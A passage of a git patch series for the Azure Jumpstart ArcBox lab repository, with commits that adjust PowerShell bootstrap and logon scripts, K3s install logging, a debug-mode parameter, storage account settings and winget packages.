log="/home/$adminUsername/jumpstart_logs/installK3s.log" -vmNameLower=$(echo $vmName | tr '[:upper:]' '[:lower:]') -azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName/installK3s-$vmNameLower.log" \ No newline at end of file +azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName/installK3s-$vmName.log" \ No newline at end of file From e7528a31a5ee5040b94ae9da7f155e4aa54ec68c Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Sat, 3 Aug 2024 23:06:05 +0300 Subject: [PATCH 408/506] chore: Restart computer after creating scheduled tasks for different flavors --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 7c509600ab..0131e66b20 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -353,9 +353,6 @@ if ($flavor -eq "ITPro") { # Creating scheduled task for ArcServersLogonScript.ps1 $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 Register-ScheduledTask -TaskName "ArcServersLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force - - # Restart computer - Restart-Computer } if ($flavor -eq "DevOps") { @@ -366,9 +363,6 @@ if ($flavor -eq "DevOps") { # Creating scheduled task for DevOpsLogonScript.ps1 $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 Register-ScheduledTask -TaskName "DevOpsLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force - - # Restart computer - Restart-Computer } if ($flavor -eq "DataOps") { @@ -443,3 +437,6 @@ else { $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: $ScheduledTaskExecutable" } $logSuppress | Set-Content $Env:ArcBoxLogsDir\Bootstrap.log -Force } + + # Restart computer + Restart-Computer \ No newline at end of file From 6670e1d3b5727c6a595b012d20d35c1b8a0368e0 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Sat, 3 Aug 2024 23:21:32 +0300 Subject: [PATCH 409/506] chore: Restart computer after creating scheduled tasks for different flavors --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 0131e66b20..229b57921c 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -438,5 +438,5 @@ else { $logSuppress | Set-Content $Env:ArcBoxLogsDir\Bootstrap.log -Force } - # Restart computer - Restart-Computer \ No newline at end of file +# Restart computer +Restart-Computer \ No newline at end of file From 1af7e454377dc15d617188205beb2d0df3e9d79b Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Sat, 3 Aug 2024 23:44:04 +0300 Subject: [PATCH 410/506] chore: Update log file name in installK3s.sh script --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 13a23f3bd6..11222a11b4 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -200,4 +200,6 @@ echo "" # Authorize azcopy by using a system-wide managed identity sleep 60 log="/home/$adminUsername/jumpstart_logs/installK3s.log" -azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName/installK3s-$vmName.log" \ No newline at end of file +vmNameLower=$(echo $vmName | tr '[:upper:]' '[:lower:]') +storageContainerNameLower=$(echo $storageContainerName | tr '[:upper:]' '[:lower:]') +azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmNameLower.log" \ No newline at end of file From c55057e49cb3e22ee8fe19a4cdf8a64d6bc4c9cf Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Sat, 3 Aug 2024 23:57:26 +0300 Subject: [PATCH 411/506] chore: Update log file name in installK3s.sh script --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 11222a11b4..044d9e34e2 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -198,7 +198,6 @@ echo "" echo "Uploading the script logs to staging storage" echo "" # Authorize azcopy by using a system-wide managed identity -sleep 60 log="/home/$adminUsername/jumpstart_logs/installK3s.log" vmNameLower=$(echo $vmName | tr '[:upper:]' '[:lower:]') storageContainerNameLower=$(echo $storageContainerName | tr '[:upper:]' '[:lower:]') From 9981117de636f4a0bc2549da413cd05a84d66915 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Sat, 3 Aug 2024 23:58:41 +0300 Subject: [PATCH 412/506] test --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 044d9e34e2..674792e4ca 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -199,6 +199,6 @@ echo "Uploading the script logs to staging storage" echo "" # Authorize azcopy by using a system-wide managed identity log="/home/$adminUsername/jumpstart_logs/installK3s.log" -vmNameLower=$(echo $vmName | tr '[:upper:]' '[:lower:]') +#vmNameLower=$(echo $vmName | tr '[:upper:]' '[:lower:]') storageContainerNameLower=$(echo $storageContainerName | tr '[:upper:]' '[:lower:]') -azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmNameLower.log" \ No newline at end of file +azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmName.log" \ No newline at end of file From ca2a136aa549a79c1d296013a54ef94a53076f55 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Sun, 4 Aug 2024 00:13:21 +0300 Subject: [PATCH 413/506] chore: Update log file name in installK3s.sh script --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 674792e4ca..df38800f35 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -199,6 +199,5 @@ echo "Uploading the script logs to staging storage" echo "" # Authorize azcopy by using a system-wide managed identity log="/home/$adminUsername/jumpstart_logs/installK3s.log" -#vmNameLower=$(echo $vmName | tr '[:upper:]' '[:lower:]') storageContainerNameLower=$(echo $storageContainerName | tr '[:upper:]' '[:lower:]') azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmName.log" \ No newline at end of file From 7b811b8da86a49ded55f16846494810b09738758 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Sat, 3 Aug 2024 17:59:51 -0400 Subject: [PATCH 414/506] remove line --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 89ca4432a9..bd07e3973f 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -201,4 +201,4 @@ echo "" log="/home/$adminUsername/jumpstart_logs/installK3s.log" storageContainerNameLower=$(echo $storageContainerName | tr '[:upper:]' '[:lower:]') -azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmName.log" +azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmName.log" \ No newline at end of file From 89af59a3a2ad4db24b8c4b514a4314c5e6a2bd56 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Sat, 3 Aug 2024 18:29:35 -0400 Subject: [PATCH 415/506] remove space --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index bd07e3973f..df38800f35 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -199,6 +199,5 @@ echo "Uploading the script logs to staging storage" echo "" # Authorize azcopy by using a system-wide managed identity log="/home/$adminUsername/jumpstart_logs/installK3s.log" - storageContainerNameLower=$(echo $storageContainerName | tr '[:upper:]' '[:lower:]') azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmName.log" \ No newline at end of file From ecd9ac9649e0064f4cfe68a617fdd2ac472dfe16 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 6 Aug 2024 08:56:32 +0000 Subject: [PATCH 416/506] Update onboarding script to use a single command for onboarding multiple VMs Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 4c80666c99..6960a2a02b 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -495,9 +495,8 @@ $payLoad = @" # Onboarding the nested VMs as Azure Arc-enabled servers Write-Output "Onboarding the nested Windows VMs as Azure Arc-enabled servers" - Invoke-Command -VMName $Win2k19vmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -accessToken $using:accessToken, -tenantId $Using:tenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds - Invoke-Command -VMName $Win2k22vmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -accessToken $using:accessToken, -tenantId $Using:tenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds - + Invoke-Command -VMName $Win2k19vmName,$Win2k22vmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -accessToken $using:accessToken, -tenantId $Using:tenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds + Write-Output "Onboarding the nested Linux VMs as an Azure Arc-enabled servers" $UbuntuSessions = New-PSSession -HostName $Ubuntu01VmIp,$Ubuntu02VmIp -KeyFilePath "$Env:USERPROFILE\.ssh\id_rsa" -UserName $nestedLinuxUsername Invoke-JSSudoCommand -Session $UbuntuSessions -Command "sh /home/$nestedLinuxUsername/installArcAgentModifiedUbuntu.sh" From 40e7461996fc7347f63ec66cc86a8c3679699845 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 6 Aug 2024 09:15:15 +0000 Subject: [PATCH 417/506] Update Bootstrap.ps1 to support debug mode Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 229b57921c..f3c25f51d9 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -34,7 +34,8 @@ param ( [string]$addsDomainName, [string]$customLocationRPOID, [object]$resourceTags, - [string]$namingPrefix + [string]$namingPrefix, + [string]$debugEnabled ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) @@ -66,9 +67,14 @@ param ( [System.Environment]::SetEnvironmentVariable('customLocationRPOID', $customLocationRPOID, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('resourceTags', $resourceTags, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('namingPrefix', $namingPrefix, [System.EnvironmentVariableTarget]::Machine) - [System.Environment]::SetEnvironmentVariable('ArcBoxDir', "C:\ArcBox", [System.EnvironmentVariableTarget]::Machine) +if ($debugEnabled -eq "true") { + [System.Environment]::SetEnvironmentVariable('ErrorActionPreference', "Break", [System.EnvironmentVariableTarget]::Machine) +} else { + [System.Environment]::SetEnvironmentVariable('ErrorActionPreference', "Continue", [System.EnvironmentVariableTarget]::Machine) +} + # Formatting VMs disk $disk = (Get-Disk | Where-Object partitionstyle -eq 'raw')[0] $driveLetter = "F" @@ -107,8 +113,6 @@ New-Item -Path $Env:ArcBoxTestsDir -ItemType directory -Force Start-Transcript -Path $Env:ArcBoxLogsDir\Bootstrap.log -$ErrorActionPreference = 'SilentlyContinue' - if ([bool]$vmAutologon) { Write-Host "Configuring VM Autologon" From 0ffbd6607daf3f64228f385e895011df4e4c5982 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 6 Aug 2024 09:15:56 +0000 Subject: [PATCH 418/506] Update Bootstrap.ps1 to remove temporary workaround for Posh-SSH module Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 3 --- 1 file changed, 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index f3c25f51d9..966ca6711a 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -146,9 +146,6 @@ foreach ($module in $modules) { Install-PSResource -Name $module -Scope AllUsers -Quiet -AcceptLicense -TrustRepository } -# Temporary workaround for Posh-SSH module due to: https://github.com/darkoperator/Posh-SSH/issues/558 -Install-PSResource -Name Posh-SSH -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease - # Add Key Vault Secrets Connect-AzAccount -Identity From eac986b5cd287134e66e544e6b88108ad681d83d Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 6 Aug 2024 09:16:15 +0000 Subject: [PATCH 419/506] Add debug mode support for client VM automation scripts Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep | 5 ++++- azure_jumpstart_arcbox/bicep/main.bicep | 4 ++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 1622b89a22..d5a27c8c42 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -107,6 +107,9 @@ param customLocationRPOID string = '' @description('The SKU of the VMs disk') param vmsDiskSku string = 'Premium_LRS' +@description('Use this parameter to enable or disable debug mode for the automation scripts on the client VM, effectively configuring PowerShell ErrorActionPreference to Break. Default is false.') +param debugEnabled bool = false + var bastionName = '${namingPrefix}-Bastion' var publicIpAddressName = deployBastion == false ? '${vmName}-PIP' : '${bastionName}-PIP' var networkInterfaceName = '${vmName}-NIC' @@ -232,7 +235,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -tenantId ${tenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -k3sArcDataClusterName ${k3sArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName} -customLocationRPOID ${customLocationRPOID} -resourceTags ${resourceTags} -namingPrefix ${namingPrefix}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -tenantId ${tenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -k3sArcDataClusterName ${k3sArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName} -customLocationRPOID ${customLocationRPOID} -resourceTags ${resourceTags} -namingPrefix ${namingPrefix} -debugEnabled ${debugEnabled}' } } } diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index cf200680e0..82533539dd 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -63,6 +63,9 @@ param location string = resourceGroup().location @description('The custom location RPO ID. This parameter is only needed when deploying the DataOps flavor.') param customLocationRPOID string = newGuid() +@description('Use this parameter to enable or disable debug mode for the automation scripts on the client VM, effectively configuring PowerShell ErrorActionPreference to Break. Intended for use when troubleshooting automation scripts. Default is false.') +param debugEnabled bool = false + @description('Tags to assign for all ArcBox resources') param resourceTags object = { Solution: 'jumpstart_arcbox' @@ -154,6 +157,7 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { addsDomainName: addsDomainName customLocationRPOID: customLocationRPOID namingPrefix: namingPrefix + debugEnabled: debugEnabled } dependsOn: [ updateVNetDNSServers From f6925fb15940077ab0161c0d00a37e014a28f8d1 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 6 Aug 2024 09:17:12 +0000 Subject: [PATCH 420/506] Disable local user access and shared key access for staging storage account Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep b/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep index b72d1d060a..74af350fe0 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep @@ -25,7 +25,8 @@ resource storageAccount 'Microsoft.Storage/storageAccounts@2022-05-01' = { kind: 'StorageV2' properties: { supportsHttpsTrafficOnly: true - isLocalUserEnabled: false + isLocalUserEnabled: true + allowSharedKeyAccess: false } } From 2fb22996465120672b3fc15234e8756810a8bfdf Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 6 Aug 2024 09:18:28 +0000 Subject: [PATCH 421/506] Update logon scripts to set $ErrorActionPreference Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 4 +++- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 ++ azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 2 ++ azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 2 ++ 4 files changed, 9 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 6960a2a02b..703dcc6412 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -1,3 +1,5 @@ +$ErrorActionPreference = $env:ErrorActionPreference + $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" $Env:ArcBoxVMDir = "F:\Virtual Machines" @@ -496,7 +498,7 @@ $payLoad = @" # Onboarding the nested VMs as Azure Arc-enabled servers Write-Output "Onboarding the nested Windows VMs as Azure Arc-enabled servers" Invoke-Command -VMName $Win2k19vmName,$Win2k22vmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -accessToken $using:accessToken, -tenantId $Using:tenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds - + Write-Output "Onboarding the nested Linux VMs as an Azure Arc-enabled servers" $UbuntuSessions = New-PSSession -HostName $Ubuntu01VmIp,$Ubuntu02VmIp -KeyFilePath "$Env:USERPROFILE\.ssh\id_rsa" -UserName $nestedLinuxUsername Invoke-JSSudoCommand -Session $UbuntuSessions -Command "sh /home/$nestedLinuxUsername/installArcAgentModifiedUbuntu.sh" diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 87f1860e77..33fe477618 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -1,3 +1,5 @@ +$ErrorActionPreference = $env:ErrorActionPreference + $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" $Env:ArcBoxVMDir = "F:\Virtual Machines" diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 531473d363..bd7a14ff93 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -1,3 +1,5 @@ +$ErrorActionPreference = $env:ErrorActionPreference + $Env:TempDir = "C:\Temp" $Env:ToolsDir = "C:\Tools" $Env:ArcBoxDir = "C:\ArcBox" diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index 3a6fc14ac6..f0154e8eda 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -1,3 +1,5 @@ +$ErrorActionPreference = $env:ErrorActionPreference + $Env:ArcBoxDir = 'C:\ArcBox' $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" From df89bdadf30ee22a5bc92e34937706fa8b74b704 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 6 Aug 2024 09:18:53 +0000 Subject: [PATCH 422/506] Disable local user access for staging storage account Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep b/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep index 74af350fe0..ce08d7af91 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep @@ -25,7 +25,7 @@ resource storageAccount 'Microsoft.Storage/storageAccounts@2022-05-01' = { kind: 'StorageV2' properties: { supportsHttpsTrafficOnly: true - isLocalUserEnabled: true + isLocalUserEnabled: false allowSharedKeyAccess: false } } From c16f6b524c53216559733b79453085842e4706e3 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 6 Aug 2024 14:43:34 +0300 Subject: [PATCH 423/506] update logging of K3s --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index df38800f35..f3fa99b325 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -1,7 +1,4 @@ #!/bin/bash -exec >installK3s.log -exec 2>&1 - sudo apt-get update sudo sed -i "s/PasswordAuthentication no/PasswordAuthentication yes/" /etc/ssh/sshd_config @@ -20,7 +17,6 @@ echo $templateBaseUrl:$7 | awk '{print substr($1,2); }' >> vars.sh echo $storageContainerName:$8 | awk '{print substr($1,2); }' >> vars.sh echo $k3sControlPlane:$9 | awk '{print substr($1,2); }' >> vars.sh - sed -i '2s/^/export adminUsername=/' vars.sh sed -i '3s/^/export subscriptionId=/' vars.sh sed -i '4s/^/export vmName=/' vars.sh @@ -31,6 +27,11 @@ sed -i '8s/^/export templateBaseUrl=/' vars.sh sed -i '9s/^/export storageContainerName=/' vars.sh sed -i '10s/^/export k3sControlPlane=/' vars.sh +export vmName=$3 + +exec >installK3s-${vmName}.log +exec 2>&1 + # Set k3 deployment variables export K3S_VERSION="1.29.6+k3s2" # Do not change! @@ -42,7 +43,7 @@ sudo curl -v -o /etc/profile.d/welcomeK3s.sh ${templateBaseUrl}artifacts/welcome # Syncing this script log to 'jumpstart_logs' directory for ease of troubleshooting sudo -u $adminUsername mkdir -p /home/${adminUsername}/jumpstart_logs -while sleep 1; do sudo -s rsync -a /var/lib/waagent/custom-script/download/0/installK3s.log /home/${adminUsername}/jumpstart_logs/installK3s.log; done & +while sleep 1; do sudo -s rsync -a /var/lib/waagent/custom-script/download/0/installK3s-$vmName.log /home/${adminUsername}/jumpstart_logs/installK3s-$vmName.log; done & # Downloading azcopy echo "" @@ -189,7 +190,7 @@ else echo "ERROR: Failed to add k3s worker nodes" exit 1 fi - + sudo service sshd restart fi @@ -197,7 +198,6 @@ fi echo "" echo "Uploading the script logs to staging storage" echo "" -# Authorize azcopy by using a system-wide managed identity -log="/home/$adminUsername/jumpstart_logs/installK3s.log" +log="/home/$adminUsername/jumpstart_logs/installK3s-$vmName.log" storageContainerNameLower=$(echo $storageContainerName | tr '[:upper:]' '[:lower:]') azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmName.log" \ No newline at end of file From 3811d5b1a0777c9a4abb1bd4b765debdd0d412c5 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 6 Aug 2024 13:05:36 +0000 Subject: [PATCH 424/506] Istio configuration command line utility Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml | 7 +++++++ azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml | 8 ++++++++ 2 files changed, 15 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml index 4d47c8ee41..722865abe4 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml @@ -51,5 +51,12 @@ properties: settings: id: FireDaemon.OpenSSL source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Istio.Istio + directives: + description: Install Istio configuration command line utility + settings: + id: Istio.Istio + source: winget configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml index 